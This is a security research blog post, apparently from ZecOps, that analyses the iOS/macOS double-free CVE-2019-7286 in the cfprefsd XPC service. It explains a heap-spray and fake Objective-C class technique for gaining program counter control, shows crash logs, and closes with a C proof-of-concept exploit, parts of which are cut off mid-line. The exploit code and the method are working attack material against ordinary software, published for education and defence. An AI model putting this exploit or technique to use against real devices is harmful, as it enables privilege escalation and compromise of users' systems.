CVE-2019-7286 Part II: Gaining PC Control

BY ZECOPS RESEARCH TEAM | MARCH 24, 2019

Following our previous blog post "Analysis and Reproduction of iOS/OSX Vulnerability: CVE-2019-7286" we discussed the details of CVE-2019-7286 vulnerability – a double-free vulnerability that was patched in the previous release of iOS and was actively exploited in the wild. There is no public information about this vulnerability.

ZecOps Research Team thought that only reproducing this vulnerability without learning how an attacker could have achieved elevated privileges through a vulnerability that has a small time window, would be less educational. In this blog post we will demonstrate one of the ways of how attackers could have exploited this vulnerability.

If you are interested in doing similar research as part of our Reverse Bounty program – you may sign up here.

If you believe that you have been targeted – please contact ZecOps APT Incident Response Team here.

TL;DR:

- CVE-2019-7286 was exploited in the wild and fixed on the latest iOS (12.1.4)
- The vulnerability seems to be of critical severity and could have been used potentially also to maintain persistence after reboots
- ZecOps Research Team analyzed and reproduced the vulnerability.
- **New**: ZecOps is releasing a new POC that can demonstrate full Program Counter (PC) control (below).
- The vulnerability could be used to escalate privileges to root as part of a chain for jailbreak on iOS 12.1.3.

Exploit Strategy

Since both of the frees are located in a single XPC request, it’s not possible to control the data between the two xpc_release calls. Therefore, we need another XPC request to create an additional thread to fill the freed memory, as shown below.

```
+----------------+       +---------------+
|   vul_thread   |       |  fill_thread  |
|                |       |               |
| +------------+ |       |               |
| | first free | |       |               |
| |            | |       |               |
| +-----+------+ |       |               |
|       |        |       | +----------+  |
|       |        |       | | allocate |  |
|       +<-------------------+        |  |
|       |        |       | +----------+  |
```

```
|  +-----v------+ |       |               |
|  | double free| |       |               |
|  |            | |       |               |
|  +------------+ |       |               |
|                 |       |               |
+-----------------+       +---------------+
```

Since the first xpc_release is at the end of the function and shortly after the second free will occur (double-free), means that the time window to exploit this vulnerability is small.

From Double-Free to Use-After-Free

The time window between the two xpc_release (xpc_release frees a xpc_object) calls is short. The pseudo code below shows that the double freed object is an xpc_dictionary which resides inside an xpc_array.

```
for( counter = 0; xpc_array_count != counter ; counter++)
{
   current_element = xpc_buffer[counter];
   if (xpc_get_type(current_element) != &_xpc_type_null )
     xpc_release(current_element);
}
```

Since it is possible to fully control the contents of XPC requests, creating an xpc_array that is long enough creates a sufficient time window to fill the freed memory.

It is necessary to decide which object should fill the freed memory.

We need to find an object which meets the following criteria:

1. The first 8 bytes can be controlled, which allows to control the ISA pointer
2. The size of the object should be 0xc0 – the same as the freed xpc_dictionary_t, which is more likely to fill the freed memory

3. It should be possible to control the memory allocation, so we can increase the fill rate

Let's look at OS_xpc_string first. When deserializing OS_xpc_string, the function xpc_string_deserialize calls xpc_try_strdup which is a wrapper of strdup, as shown below.

```
00000000090B2 ; ---------------------------------------------------------------------------
00000000090B2
00000000090B2 loc_90B2:                               ; CODE XREF:   xpc string deserialize+2F↑j
00000000090B2                 call    __xpc_try_strdup
00000000090B7                 mov     rbx, rax
00000000090BA                 test    rbx, rbx
00000000090BD                 jz      short loc_90AE
00000000090BF                 mov     rdi, rbx        ; char *
00000000090C2                 call    _strlen
00000000090C7                 mov     rdi, rbx
00000000090CA                 mov     rsi, rax
00000000090CD                 call    __xpc_string_create
00000000090D2                 mov     rbx, rax
00000000090D5                 or      byte ptr [rbx+10h], 1
00000000090D9
00000000090D9 loc_90D9:                               ; CODE XREF:   xpc string deserialize+20↑j
00000000090D9                                         ;   xpc string deserialize+33↑j
00000000090D9                 mov     rax, rbx
00000000090DC                 add     rsp, 18h
00000000090E0                 pop     rbx
00000000090E1                 pop     rbp
00000000090E2                 retn
00000000090E2 __xpc_string_deserialize endp
00000000090E2
00000000090E3
```

By controlling the length of the string, we are able to control the size of the allocation. Adding multiple OS_xpc_string objects into deserialized dictionary or array may also increase the filling rate.

Now the 0xc0 length string gives us more than 60% success rate for filling the freed object.

```
Crashed Thread:        3  Dispatch queue: Serving PID 9774

Exception Type:        EXC_BAD_ACCESS (SIGSEGV)
Exception Codes:       KERN_INVALID_ADDRESS at 0x0000434445464768
Exception Note:        EXC_CORPSE_NOTIFY

Termination Signal:    Segmentation fault: 11
Termination Reason:    Namespace SIGNAL, Code 0xb
Terminating Process:   exc handler [9775]

VM Regions Near 0x434445464768:
    VM_ALLOCATE            0000000158f32000-0000000198f32000 [  1.0G] rw-/rw- SM=COW
-->
    STACK GUARD            00007000046d6000-00007000046d7000 [    4K] ---/rwx SM=NUL
```

Heap-Spray to PC Control

Once we have obtained the full control of the freed object let's proceed to the next stage.

The first 8 bytes of an Object-C object is the ISA pointer. Pointing the ISA pointer to a controlled memory space gives us control of the Object-C method call (see details here: Phrack Article).

Due to Address space layout randomization (ASLR) it is impossible to identify any address in the cfprefsd process – a traditional way to bypass ASLR is heap spray which was introduced by Ian Beer in the XPC heap spray technique in his talk.

The sprayed data resides in the VM_ALLOCATE region, and can be reliably found at 0x180202000. We need to shift our data a bit, using 0x180202020 instead of 0x180202000, since we are using strings to fill the freed object, which is null-terminated. If we use 0x180202000, the first null byte which is the first byte of the string will terminate the string.

Now we can finally control the PC:

```
Thread 2 Crashed:: Dispatch queue: Serving PID 9401
0   ???                             0x00000000deadbeef 0 + 3735928559
1   libobjc.A.dylib                 0x00007fff7ae07dd4 objc_object::sidetable_release(bool) + 268
2   libxpc.dylib                    0x00007fff7c109036 _xpc_array_dispose + 32
3   libxpc.dylib                    0x00007fff7c1089b4 _xpc_dispose + 129
4   libxpc.dylib                    0x00007fff7c108f5e _xpc_dictionary_dispose + 190
5   libxpc.dylib                    0x00007fff7c1089b4 _xpc_dispose + 129
6   libxpc.dylib                    0x00007fff7c10e9c6 _xpc_connection_mach_event + 941
7   libdispatch.dylib               0x00007fff7be8ee6f _dispatch_client_callout4 + 9
8   libdispatch.dylib               0x00007fff7bea3b0f _dispatch_mach_msg_invoke + 449
9   libdispatch.dylib               0x00007fff7be94fc9 _dispatch_lane_serial_drain + 271
10  libdispatch.dylib               0x00007fff7bea4639 _dispatch_mach_invoke + 485
11  libdispatch.dylib               0x00007fff7be94fc9 _dispatch_lane_serial_drain + 271
12  libdispatch.dylib               0x00007fff7be95bdc _dispatch_lane_invoke + 388
13  libdispatch.dylib               0x00007fff7be9e090 _dispatch_workloop_worker_thread + 603
14  libsystem_pthread.dylib         0x00007fff7c0cf60b _pthread_wqthread + 409
15  libsystem_pthread.dylib         0x00007fff7c0cf405 start_wqthread + 13

Thread 2 crashed with X86 Thread State (64-bit):
  rax: 0x00007fffaeab2148  rbx: 0x00007fffaeab1501  rcx: 0x0000000000000000  rdx: 0x00007febb6c07a30
  rdi: 0x00007febb6c07a90  rsi: 0x00007fff4cdc788e  rbp: 0x0000700006d52650  rsp: 0x0000700006d52608
   r8: 0x0000000000000003   r9: 0x00007febb6c07a90  r10: 0x0000000180202020  r11: 0x00000001802020a0
  r12: 0xffff8014493f8570  r13: 0x0000700006d52618  r14: 0x0000000000000001  r15: 0x00007febb6c07a90
  rip: 0x00000000deadbeef  rfl: 0x0000000000010246  cr2: 0x00000000deadbeef
```

Increasing Exploit Success Rate

With PC-control, the success rate drops from 60%+ to 5%-. In order to identify additional ways to increase the success rate of the exploit, let's review the following aspects:

1. A 0xc0 length string is used to fill the freed object
2. The string is null-terminated
3. The ISA pointer is the first 8 bytes of a Object-C object

When we change the first 8 byte of the string into 0x180202020, in a 64bit operating system, the pointer is actually 0x0000000180202020, which means if we set the 1st 8 byte of the string into an address we want, the zeros will terminate the string at the 5th byte. The string is likely allocated somewhere else since OSX uses size-based free list to speed up allocations.

Unlimited Attempts till Return Oriented Programming (ROP)

In this exploit example, we demonstrated that it is possible to hijack the code execution flow. We have filled the freed object with a decent success rate. The null-terminated string decreases exploit's success rate significantly (from 60% to 5%). In order to get a reliable PC-control, another object is required which won't be null-terminated to fill the gap. Please note that cfprefsd is registered as [Launch Daemon and Agent. After a crash,] it will be launched again for new XPC requests, which allows an attacker to target this daemon as needed until escalation of privileges is achieved.

After controlling PC, we can construct a payload to do Return Oriented Programming to execute arbitrary commands by calling system() or get the task port of the cfprefsd as [Brandon did].

CVE-2019-7286 POC

The exploit code is intended for educational and defensive purposes only. Use at your own risk.

```
// (c) 2019 ZecOps, Inc. - https://www.zecops.com - Find Attackers' Mistakes
// Intended only for educational and defensive purposes only.
// Use at your own risk.

#include <xpc/xpc.h>
#import <pthread.h>
#include <mach/mach.h>
#include <mach/task.h>
#include <dlfcn.h>
#include <mach-o/dyld_images.h>
#include <objc/runtime.h>

#define AGENT 1

#define FILL_DICT_COUNT 0x600
#define FILL_COUNT 0x1000
#define FREE_COUNT 0x2000
#define FILL_SIZE (0xc0)

int need_stop = 0;
```

```

struct heap_spray {
    void* fake_objc_class_ptr;
    uint32_t r10;
    uint32_t r4;
    void* fake_sel_addr;
    uint32_t r5;
    uint32_t r6;
    uint64_t cmd;
    uint8_t pad1[0x3c];
    uint32_t stack_pivot;
    struct fake_objc_class_t {
        char pad[0x8];
        void* cache_buckets_ptr;
        uint32_t cache_bucket_mask;
    } fake_objc_class;
    struct fake_cache_bucket_t {
        void* cached_sel;
        void* cached_function;
    } fake_cache_bucket;
    char command[32];
};

void fill_once(){

#if AGENT
    xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cfprefsd.agent",0,0);
#else
    xpc_connection_t client = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,XP
#endif

    xpc_connection_set_event_handler(client, ^void(xpc_object_t response) {
        xpc_type_t t = xpc_get_type(response);
        if (t == XPC_TYPE_ERROR){
            printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION));
            need_stop = 1 ;
        }
        //printf("received an event\n");
    });

    xpc_connection_resume(client);
    xpc_object_t main_dict = xpc_dictionary_create(NULL, NULL, 0);
```

```
    xpc_object_t arr = xpc_array_create(NULL, 0);

    xpc_object_t spray_dict = xpc_dictionary_create(NULL, NULL, 0);
    xpc_dictionary_set_int64(spray_dict, "CFPreferencesOperation", 8);
    xpc_dictionary_set_string(spray_dict, "CFPreferencesDomain", "xpc_str_domain");
    xpc_dictionary_set_string(spray_dict, "CFPreferencesUser", "xpc_str_user");

    char key[100];
    char value[FILL_SIZE];
    memset(value, "A", FILL_SIZE);
    *((uint64_t *)value) = 0x4142010180202020;
    //*((uint64_t *)value) = 0x180202020;
    value[FILL_SIZE-1]=0;
    for (int i=0; i<FILL_DICT_COUNT; i++) {
        sprintf(key, "%d",i);
        xpc_dictionary_set_string(spray_dict, key, value);
    }

    //NSLog(@"%@", spray_dict);
    for (uint64_t i=0; i<FILL_COUNT; i++) {
        xpc_array_append_value(arr, spray_dict);
    }

    xpc_dictionary_set_int64(main_dict, "CFPreferencesOperation", 5);

    xpc_dictionary_set_value(main_dict, "CFPreferencesMessages", arr);

    void* heap_spray_target_addr = (void*)0x180202000;
    struct heap_spray* map = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIX
    memset(map, 0, 0x1000);
    struct heap_spray* hs = (struct heap_spray*)((uint64_t)map + 0x20);
    //hs->null0 = 0;
    hs->cmd = -1;
    hs->fake_objc_class_ptr = &hs->fake_objc_class;
    hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
    hs->fake_objc_class.cache_bucket_mask = 0;
    hs->fake_sel_addr = &hs->fake_cache_bucket.cached_sel;
    // nasty hack to find the correct selector address
    hs->fake_cache_bucket.cached_sel = 0x7fff00000000 + (uint64_t)NSSelectorFromString(@"dealloc"

    hs->fake_cache_bucket.cached_function = 0xdeadbeef;
```

```
    size_t heap_spray_pages = 0x40000;
    size_t heap_spray_bytes = heap_spray_pages * 0x1000;
    char* heap_spray_copies = malloc(heap_spray_bytes);
    for (int i = 0; i < heap_spray_pages; i++){
    memcpy(heap_spray_copies+(i*0x1000), map, 0x1000);
    }
    xpc_dictionary_set_data(main_dict, "heap_spray", heap_spray_copies, heap_spray_bytes);

    //NSLog(@"%@", main_dict);
    xpc_connection_send_message(client, main_dict);
    printf("fill once\n");
    xpc_release(main_dict);
}

void trigger_vul(){
    #if AGENT
        printf("AGENT\n");
        xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.agent",0,0
    #else
        printf("DAEMON\n");
        xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.cfprefsd.daemon",0,
    #endif
        xpc_connection_set_event_handler(conn, ^(xpc_object_t response) {
            xpc_type_t t = xpc_get_type(response);
            if (t == XPC_TYPE_ERROR){
                printf("err: %s\n", xpc_dictionary_get_string(response, XPC_ERROR_KEY_DESCRIPTION
                need_stop = 1 ;
            }
        });
        xpc_connection_resume(conn);

        xpc_object_t hello = xpc_dictionary_create(NULL, NULL, 0);
        xpc_object_t arr = xpc_array_create(NULL, 0);

        xpc_object_t arr_free = xpc_dictionary_create(NULL, NULL, 0);
        xpc_dictionary_set_int64(arr_free, "CFPreferencesOperation", 4);
        xpc_array_append_value(arr, arr_free);
        for (int i=0; i<FREE_COUNT; i++) {
            xpc_object_t arr_elem1 = xpc_dictionary_create(NULL, NULL, 0);
            xpc_dictionary_set_int64(arr_elem1, "CFPreferencesOperation", 20);
            xpc_array_append_value(arr, arr_elem1);
        }
```

```
        //printf("%p, %p\n", arr_elem1, hello);
        xpc_dictionary_set_int64(hello, "CFPreferencesOperation", 5);
        xpc_dictionary_set_value(hello, "CFPreferencesMessages", arr);

        //NSLog (@"%@", hello);
        fill_once();
        xpc_connection_send_message(conn, hello);
        NSLog(@" trigger vuln");
        xpc_release(hello);
}

int main(int argc, const char * argv[]) {

    pthread_t fillthread1,triger_thread;
    NSLog(@"start to trigger..");
    trigger_vul();

    return 0;
}
```

References

- https://thecyberwire.com/events/docs/IanBeer_JSS_Slides.pdf
- http://phrack.org/issues/69/9.html#article
- https://bazad.github.io/2018/11/introduction-userspace-race-conditions-ios/

program - details ahead!

JOIN REVERSE BOUNTY™ >

We're still in stealth mode, but... we are already working with leading organizations globally. If you wish to learn more about what we do and what fresh vibes we bring to defensive cyber security, let's get in touch

CONTACT US >

SHARE THIS ARTICLE

Facebook Google+ Twitter LinkedIn

PREVIOUS
Analysis and Reproduction of iOS/OSX ...

NEXT
Retrospective Analysis of the Infamous...

zecOps

Facebook Google+ Twitter LinkedIn